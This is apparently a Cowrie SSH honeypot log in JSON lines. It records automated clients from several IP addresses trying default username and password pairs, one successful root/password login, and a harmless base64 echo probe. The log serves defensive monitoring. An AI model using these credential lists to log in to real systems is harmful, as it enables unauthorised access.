{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:17.403331Z","src_ip":"193.32.162.151","session":"6fc36bdcb492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"sdadmin","message":"login attempt [sdadmin/sdadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:17.717236Z","src_ip":"193.32.162.151","session":"6fc36bdcb492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:18.837552Z","src_ip":"193.32.162.151","session":"6fc36bdcb492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":49254,"dst_ip":"10.17.0.5","dst_port":22,"session":"30f2b053a364","protocol":"ssh","message":"New connection: 80.94.92.186:49254 (10.17.0.5:22) [session: 30f2b053a364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:25.287205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:25.291625Z","src_ip":"80.94.92.186","session":"30f2b053a364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:25.479566Z","src_ip":"80.94.92.186","session":"30f2b053a364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:25.904540Z","src_ip":"80.94.92.186","session":"30f2b053a364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:27.164003Z","src_ip":"80.94.92.186","session":"30f2b053a364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":37016,"dst_ip":"10.17.0.5","dst_port":22,"session":"b87ff80b9974","protocol":"ssh","message":"New connection: 92.118.39.95:37016 (10.17.0.5:22) [session: b87ff80b9974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:10:39.059183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:10:39.073827Z","src_ip":"92.118.39.95","session":"b87ff80b9974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:10:39.165308Z","src_ip":"92.118.39.95","session":"b87ff80b9974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:10:39.592914Z","src_ip":"92.118.39.95","session":"b87ff80b9974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:10:40.697260Z","src_ip":"92.118.39.95","session":"b87ff80b9974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45458,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e791dc6b7a","protocol":"ssh","message":"New connection: 193.32.162.151:45458 (159.203.135.109:22) [session: a3e791dc6b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:28.787524Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":44298,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c3d638ad175","protocol":"ssh","message":"New connection: 92.118.39.72:44298 (10.17.0.5:22) [session: 5c3d638ad175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:28.791283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:28.795892Z","src_ip":"193.32.162.151","session":"a3e791dc6b7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:28.897331Z","src_ip":"193.32.162.151","session":"a3e791dc6b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:28.902215Z","src_ip":"92.118.39.72","session":"5c3d638ad175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:29.226054Z","src_ip":"193.32.162.151","session":"a3e791dc6b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:30.331557Z","src_ip":"193.32.162.151","session":"a3e791dc6b7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":54044,"dst_ip":"159.203.135.109","dst_port":22,"session":"654f1bd97617","protocol":"ssh","message":"New connection: 85.198.97.85:54044 (159.203.135.109:22) [session: 654f1bd97617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:31.983866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:31.988418Z","src_ip":"85.198.97.85","session":"654f1bd97617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:32.114152Z","src_ip":"85.198.97.85","session":"654f1bd97617","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:32.491109Z","src_ip":"85.198.97.85","session":"654f1bd97617","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:32.775654Z","src_ip":"85.198.97.85","session":"654f1bd97617","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:32.778892Z","src_ip":"85.198.97.85","session":"654f1bd97617","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:32.905409Z","src_ip":"85.198.97.85","session":"654f1bd97617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:11:32.910629Z","src_ip":"85.198.97.85","session":"654f1bd97617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51922,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb06a164c5df","protocol":"ssh","message":"New connection: 80.94.92.186:51922 (10.17.0.5:22) [session: fb06a164c5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:39.438389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:39.826793Z","src_ip":"80.94.92.186","session":"fb06a164c5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:39.830948Z","src_ip":"80.94.92.186","session":"fb06a164c5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Password123","message":"login attempt [solana/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:41.115937Z","src_ip":"80.94.92.186","session":"fb06a164c5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:42.319822Z","src_ip":"80.94.92.186","session":"fb06a164c5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":49214,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef9d03b85d9","protocol":"ssh","message":"New connection: 92.118.39.95:49214 (10.17.0.5:22) [session: bef9d03b85d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:51.327728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:51.370705Z","src_ip":"92.118.39.95","session":"bef9d03b85d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:51.461962Z","src_ip":"92.118.39.95","session":"bef9d03b85d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:51.862298Z","src_ip":"92.118.39.95","session":"bef9d03b85d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:12:53.044609Z","src_ip":"92.118.39.95","session":"bef9d03b85d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33112,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b98d421c218","protocol":"ssh","message":"New connection: 193.32.162.151:33112 (159.203.135.109:22) [session: 8b98d421c218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:13:40.756361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:13:40.760736Z","src_ip":"193.32.162.151","session":"8b98d421c218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:13:40.867123Z","src_ip":"193.32.162.151","session":"8b98d421c218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:13:41.181490Z","src_ip":"193.32.162.151","session":"8b98d421c218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:13:42.289738Z","src_ip":"193.32.162.151","session":"8b98d421c218","protocol":"ssh"}
